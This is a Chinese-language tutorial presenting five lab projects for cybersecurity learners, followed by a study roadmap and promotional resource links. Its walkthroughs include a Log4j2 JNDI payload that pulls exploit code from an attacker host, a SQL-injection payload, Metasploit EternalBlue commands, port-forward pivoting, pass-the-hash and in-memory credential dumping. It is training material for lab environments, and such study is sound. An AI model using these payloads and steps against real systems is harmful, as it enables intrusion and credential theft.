网络安全实战项目推荐:适合练手的 5 个项目
一、引言
网络安全学习的核心是 “理论 + 实战”,仅学理论无法真正掌握漏洞利用与防御技能。实战项目能帮你将知识转化为能力,积累项目经验(可写入简历),是大学生和转行人群提升竞争力的关键。本文推荐 5 个难度递进的实战项目,从基础漏洞复现到综合渗透测试,均提供详细的环境搭建和操作步骤,适合零基础到进阶学习者练手。
二、项目 1:Log4j2 漏洞复现(基础级)
1. 项目目标
复现 Log4j2 远程代码执行漏洞(CVE-2021-44228),理解漏洞原理(JNDI 注入),掌握漏洞利用与防御方法,适合零基础入门漏洞复现。
2. 环境准备(10 分钟搭建)
工具:Docker Desktop(Windows/macOS)、Burp Suite、JNDI 注入工具(marshalsec);
步骤:
- 安装 Docker Desktop,启动后拉取含 Log4j2 漏洞的测试镜像:
docker pull vulfocus/log4j2-rce:latest # 官方测试镜像- 启动容器,映射端口(8080 为漏洞应用端口):
docker run -d -p 8080:8080 vulfocus/log4j2-rce:latest- 验证环境:浏览器访问 http://localhost:8080,显示 “Log4j2 Test App” 即成功。
3. 漏洞复现步骤
- (1)准备 JNDI 注入服务:
(注:Exploit.class 是恶意代码,功能为执行系统命令,需提前用 Java 编译并放在本地 8081 端口的 Web 服务中)
下载 marshalsec 工具(JNDI 注入服务):git clone https://github.com/mbechler/marshalsec.git;
编译工具(需 Java 环境):mvn clean package -DskipTests,生成 marshalsec-0.0.3-SNAPSHOT-all.jar;
启动 JNDI 服务,指定恶意代码地址(如攻击者 IP 为 192.168.1.100):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.100:8081/#Exploit" 1099- (2)触发漏洞:
- 用 Burp Suite 抓包访问漏洞应用的 http://localhost:8080/hello 接口,修改请求参数:
GET /hello?name=${jndi:rmi://192.168.1.100:1099/Exploit} HTTP/1.1 Host: localhost:8080- 发送请求后,漏洞应用会通过 JNDI 调用恶意代码,执行系统命令(如弹出计算器);
- (3)防御验证:
将 Log4j2 版本升级到 2.17.0(修复漏洞的版本),重新启动容器;
再次发送漏洞请求,无法触发命令执行,防御成功。
4. 学习收获
理解 JNDI 注入原理与 Log4j2 漏洞的危害;
掌握 Docker 环境搭建、Burp Suite 抓包、JNDI 工具使用;
学会漏洞修复方法(版本升级),建立 “漏洞复现→防御” 的完整认知。
三、项目 2:个人 SOC(安全运营中心)搭建(进阶级)
1. 项目目标
搭建简易 SOC 系统,实现日志收集、安全监控、告警功能,模拟企业安全运营场景,适合想从事安全运营岗位的学习者。
2. 环境准备(30 分钟搭建)
工具:VMware(2 台 Linux 虚拟机:CentOS 7)、ELK Stack(Elasticsearch+Logstash+Kibana)、Wazuh(开源安全监控工具);
步骤:
虚拟机 1(ELK 服务器):配置 2 核 4G 内存,安装 ELK Stack(参考 Elastic 官方文档,使用 rpm 包安装);
虚拟机 2(Agent 客户端):配置 1 核 2G 内存,安装 Wazuh Agent,连接 ELK 服务器;
验证环境:Kibana 访问 http://ELK服务器IP:5601,显示 Wazuh 监控界面即成功。
3. 项目实施步骤
- (1)日志收集配置:
在 Agent 客户端配置收集系统日志(/var/log/secure SSH 登录日志)和应用日志(如 Nginx 访问日志);
通过 Logstash 过滤日志(如提取 SSH 登录的 IP、时间、结果),存储到 Elasticsearch;
- (2)安全监控规则配置:
- 在 Wazuh 中添加告警规则(如 “SSH 登录失败超过 5 次”):
<rule id="100001" level="10"> <if_sid>5710</if_sid> <!-- 基础SSH登录规则ID --> <match>Failed password</match> <same_source_ip>5</same_source_ip> <!-- 同一IP 5次失败 --> <description>SSH brute force attack detected</description> </rule>- 配置告警通知:通过邮件或钉钉机器人,当触发规则时发送告警(如 “192.168.1.105 发起 SSH 暴力破解”);
- (3)可视化仪表板制作:
- 在 Kibana 中创建 SOC 仪表板,包含:
实时告警列表(按级别排序:高危 / 中危 / 低危);
SSH 登录失败 Top 10 IP 图表;
服务器 CPU / 内存使用率监控(结合 Metricbeat);
4. 学习收获
掌握 ELK Stack 日志收集与分析、Wazuh 安全监控配置;
理解企业 SOC 的工作流程(日志→监控→告警→处置);
提升安全运营实战能力,项目可写入简历作为安全运营经验。
四、项目 3:Web 应用代码审计(进阶级)
1. 项目目标
审计开源 Web 项目(如 Discuz! X3.4),发现并验证 SQL 注入漏洞,编写审计报告,适合想从事代码审计岗位的学习者。
2. 环境准备(20 分钟搭建)
工具:PHPStudy(Windows)、Seay 代码审计系统、Burp Suite、Discuz! X3.4 源代码;
步骤:
安装 PHPStudy,搭建 LAMP 环境(PHP 5.6,MySQL 5.5);
部署 Discuz! X3.4,访问 http://localhost/discuz 完成安装;
启动 Seay,导入 Discuz! 源代码,准备审计。
3. 项目实施步骤
- (1)漏洞发现:
在 Seay 中搜索危险函数(如mysql_query,未使用预编译的 SQL 查询);
定位可疑代码(如source/module/forum/forum_post.php中的帖子发布功能):
$query = mysql_query("SELECT * FROM ".DB::table('forum_post')." WHERE pid='$pid'");(注:$pid 来自用户输入,未过滤直接拼接 SQL,存在注入漏洞);
- (2)漏洞验证:
构造注入 Payload:访问帖子详情页,修改pid参数为 1’ UNION SELECT 1,2,3,user(),5–+;
用 Burp Suite 发送请求,页面显示数据库用户名(如root@localhost),验证注入成功;
- (3)编写审计报告:
- 报告包含:
漏洞名称:Discuz! X3.4 forum_post.php SQL 注入漏洞;
影响版本:Discuz! X3.4 及以下;
漏洞位置:source/module/forum/forum_post.php 第 123 行;
验证步骤:Payload、请求包、响应截图;
修复建议:使用参数化查询(DB::query 替代 mysql_query);
4. 学习收获
掌握 PHP 代码审计方法(危险函数搜索、参数跟踪);
提升漏洞验证与报告编写能力,审计报告可作为项目经验;
理解 Web 漏洞的代码根源,为防御开发打下基础。
五、项目 4:内网渗透测试(高阶)
1. 项目目标
模拟企业内网环境(多台虚拟机),完成 “外网突破→内网漫游→域控拿下” 的全流程渗透测试,适合想从事渗透测试岗位的学习者。
2. 环境准备(1 小时搭建)
工具:VMware(3 台 Windows 虚拟机)、Kali Linux(攻击机);
内网拓扑:
外网服务器(Windows Server 2008,IP:192.168.1.100,Web 服务存在永恒之蓝漏洞);
内网主机(Windows 7,IP:10.0.0.10,加入域 test.com,与外网服务器双网卡通信);
域控服务器(Windows Server 2012,IP:10.0.0.1,域管理员账号 admin@test.com);
- 步骤:配置虚拟机网络(外网服务器桥接,内网主机和域控仅主机模式),确保 Kali 能访问外网服务器,内网主机能访问域控。
3. 项目实施步骤
- (1)外网突破:
Kali 中用 Nmap 扫描外网服务器,发现 445 端口开放(SMB 服务);
用 Metasploit 利用永恒之蓝漏洞(MS17-010)获取外网服务器权限:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 run- 获得 Meterpreter 会话,发现内网网段(10.0.0.0/24);
- (2)内网漫游:
- 在目标服务器上开启端口转发,让 Kali 能访问内网:
portfwd add -l 4445 -p 3389 -r 10.0.0.10 # 将内网Windows 7的3389端口转发到Kali的4445- 用 Hashdump 获取外网服务器的用户哈希,通过 Pass-the-Hash(哈希传递)登录内网 Windows 7;
- (3)域控拿下:
在 Windows 7 上发现域内管理员凭证(如通过 Kiwi 工具抓取内存密码);
远程登录域控服务器(10.0.0.1),获取域管理员权限,渗透测试完成;
4. 学习收获
掌握内网渗透核心技术(端口转发、哈希传递、域渗透);
理解企业内网拓扑与安全防护难点;
积累完整渗透测试流程经验,可作为简历中的渗透测试项目。
六、项目 5:物联网设备固件分析(高阶)
1. 项目目标
分析路由器固件(如 TP-Link TL-WDR5620),提取文件系统、发现弱口令漏洞,适合想从事物联网安全岗位的学习者。
2. 环境准备(30 分钟搭建)
工具:Ubuntu 20.04 虚拟机、Binwalk(固件提取工具)、QEMU(模拟 ARM 架构)、固件文件(从官网下载 TP-Link TL-WDR5620 固件);
步骤:
Ubuntu 中安装工具:sudo apt install binwalk qemu-system-arm;
验证工具:binwalk -v 显示版本即成功。
3. 项目实施步骤
- (1)固件提取:
- 用 Binwalk 提取固件文件系统:
binwalk -Me TL-WDR5620.bin # -M 递归提取,-e 自动提取- 进入提取后的文件系统目录(如_TL-WDR5620.bin.extracted/squashfs-root),查看系统文件(如/etc/passwd、/usr/sbin/httpd Web 服务);
- (2)漏洞发现:
查看 Web 服务配置文件(如/etc/config/httpd),发现管理员默认密码存储在/etc/shadow中,且加密算法较弱(MD5);
分析 Web 服务二进制文件(/usr/sbin/httpd),用 IDA Pro 查看登录验证逻辑,发现未限制密码尝试次数,存在暴力破解风险;
- (3)模拟验证:
- 用 QEMU 模拟 ARM 架构,启动固件的 Web 服务:
qemu-arm -L ./squashfs-root /usr/sbin/httpd- 用 Burp Suite 对路由器 Web 后台发起暴力破解,成功破解默认密码(如admin/admin);
4. 学习收获
掌握固件提取(Binwalk)、ARM 架构模拟(QEMU)、固件漏洞分析;
理解物联网设备的安全风险(固件未加密、默认密码);
积累物联网安全实战经验,适合求职物联网安全工程师岗位。
七、项目选择建议
零基础入门:优先选择项目 1(Log4j2 漏洞复现),熟悉工具使用和漏洞原理;
目标安全运营:重点完成项目 2(SOC 搭建),积累日志分析和监控配置经验;
目标渗透测试:进阶完成项目 4(内网渗透),掌握全流程渗透技能;
目标代码审计 / 物联网安全:针对性完成项目 3(代码审计)或项目 5(固件分析)。
八、总结
实战项目是网络安全学习的 “桥梁”,能帮你将理论转化为能力,积累简历可写的项目经验。建议按 “基础→进阶→高阶” 的顺序完成项目,每个项目后整理操作文档和总结,明确学习收获。通过 5 个项目的练习,可具备入门级网络安全岗位的实战能力,大幅提升就业竞争力。
网络安全学习路线&学习资源![]()
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
【“脚本小子”成长进阶资源领取】
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
网络安全学习路线&学习资源![]()
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!